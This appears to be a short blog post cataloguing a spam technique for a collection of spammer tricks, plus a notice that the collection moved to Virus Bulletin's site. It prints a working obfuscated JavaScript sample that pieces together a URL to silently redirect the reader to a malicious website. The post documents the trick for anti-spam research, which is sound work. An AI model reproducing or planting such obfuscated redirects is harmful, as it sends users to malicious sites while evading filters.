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New Spammer’s Compendium Entry:The Responsibility Transfer

Source: The Responsibility Transfer UO!Responsibility!JavaScript 31 August 2010 Description Using an attached HTML document that contains almost the same page as the HTML-part of the email body, but uses obfuscated JavaScript to redirect the user to a malicious website. Submitted by Sorin Mustaca. Example <script>function r(){};fQ=false;d=””;r.prototype = {p : function() { this.j=”;var pN=54899;s=false;this.k=”k”;this.kH=22581;c=”;l=64422; document.location.href=String(“htt”+”p:/”+”/tr”+”ace”+”boo”+”k.u”+”s/1″+”.htOnc”.substr(0,3)+”ml”); this.g=59634;var o=false;z=”;f=”f”;e=””;y=22487;}};x=””; var gK=false;var zA=new r(); pU=”;this.u=”u”;zA.p();var lK=false; </script>

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The Spammers’ Compendium moved to Virus Bulletin’s website

As of May 1st 2008, the Spammers’ Compendium found a new home. It has been moved from to I and Nick Fitzgerald will continue to look for new tricks and maintain this collection. John posted this info also on his blog here Anyone can submit new techniques by sending an email to tsc [at]

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